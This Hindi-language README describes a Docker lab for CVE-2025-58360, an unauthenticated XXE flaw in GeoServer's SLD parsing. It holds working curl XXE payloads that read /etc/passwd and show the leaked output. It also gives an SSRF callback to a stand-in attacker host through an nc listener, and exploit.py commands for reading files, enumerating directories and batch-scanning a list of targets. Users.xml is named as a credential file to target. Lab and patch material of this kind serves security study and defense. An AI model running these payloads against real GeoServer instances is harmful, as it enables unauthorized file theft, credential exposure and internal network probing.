
Docker-आधारित लैब जो CVE-2025-58360, GeoServer WMS/OWS सेवाओं में एक महत्वपूर्ण अप्रमाणित XXE इंजेक्शन का प्रदर्शन करती है। इसमें फ़ाइल रीड, SSRF और डायरेक्टरी एनुमरेशन के लिए एक्सप्लॉइट स्क्रिप्ट शामिल है।
GeoServer OWS/WMS सेवाओं में अनऑथेंटिकेटेड XML एक्सटर्नल एंटिटी (XXE) इंजेक्शन
CVSS: 9.8 क्रिटिकल
प्रभावित: <= 2.25.5, 2.26.0-2.26.1
फिक्स्ड: 2.25.6+, 2.26.2+, 2.27.0+
यह लैब CVE-2025-58360 का प्रदर्शन करती है, जो GeoServer के WMS/OWS XML अनुरोध हैंडलिंग में एक क्रिटिकल XXE कमजोरी है। यह कमजोरी अनऑथेंटिकेटेड हमलावरों को निम्नलिखित की अनुमति देती है:
GeoServer की SLDParser.parseSLD() विधि बिना उचित एंटिटी रिज़ॉल्यूशन प्रतिबंधों के XML स्टाइलिंग दस्तावेज़ों को संसाधित करती है। जबकि OWS डिस्पैचर XXE को रोकने के लिए AllowListEntityResolver का उपयोग करता है, SLD पार्सिंग कोड पथ इस सुरक्षा को दरकिनार करता है:
POST /geoserver/ows?service=WMS&request=GetMap
|
v
+-----------------------------+
| OWS डिस्पैचर | <-- EntityResolver कॉन्फ़िगर किया गया
| (बॉडी में SLD का पता लगाता है) |
+-----------------------------+
|
v
+-----------------------------+
| SLDXmlRequestReader |
| -> SLDHandler.parse() |
| -> SLDParser.parseSLD() | <-- कोई EntityResolver नहीं!
+-----------------------------+
|
v
XXE हल -> फ़ाइल/SSRF
# कमजोर और पैच किए गए दोनों इंस्टेंस शुरू करें
docker-compose up -d
# कमजोर: http://localhost:8080/geoserver
# पैच किया गया: http://localhost:8081/geoserver
# स्टार्टअप के लिए ~60 सेकंड प्रतीक्षा करें
डिफ़ॉल्ट क्रेडेंशियल: admin / geoserver
curl -s -X POST \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<n>&xxe;</n>
</NamedLayer>
</StyledLayerDescriptor>' \
"http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"
कमजोर प्रतिक्रिया:
<ServiceException>
Unknown layer: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
</ServiceException>
पैच की गई प्रतिक्रिया:
<ServiceException>
Entity resolution disallowed for file:///etc/passwd
</ServiceException>
file:///opt/geoserver_data/security/usergroup/default/users.xml
file:///opt/geoserver_data/global.xml
Java का file:// हैंडलर डायरेक्ट्रियों को न्यूलाइन-अलग फ़ाइल सूचियों के रूप में पढ़ता है:
# रूट डायरेक्ट्री सूचीबद्ध करें
python3 exploit.py -u http://localhost:8080 --file /
# geoserver डेटा गणना करें
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/security/
आउटपुट:
__cacert_entrypoint.sh
.dockerenv
bin
boot
dev
etc
home
...
यह विशिष्ट फ़ाइलों को लक्षित करने से पहले पूर्ण फाइलसिस्टम गणना की अनुमति देता है।
# लिसनर शुरू करें
nc -lvnp 9999
# पेलोड भेजें
curl -s -X POST \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "http://YOUR_IP:9999/callback">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<n>&xxe;</n>
</NamedLayer>
</StyledLayerDescriptor>' \
"http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"
# संस्करण जाँच
python3 exploit.py -u http://localhost:8080
# सुरक्षित जाँच (कोई डेटा निकासी नहीं)
python3 exploit.py -u http://localhost:8080 --probe
# फ़ाइल पढ़ना
python3 exploit.py -u http://localhost:8080 --file /etc/passwd
# SSRF
python3 exploit.py -u http://localhost:8080 --ssrf http://attacker:9999/callback
# वर्बोज़ मोड
python3 exploit.py -u http://localhost:8080 --file /etc/passwd -v
# बैच स्कैन
python3 exploit.py --list targets.txt --output vulnerable.txt
geoserver-xxe-lab/
├── README.md
├── docker-compose.yml
└── exploit.py
GeoServer 2.25.6+, 2.26.2+, या 2.27.0+ पर अपग्रेड करें
केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए।
एल पेरो जोक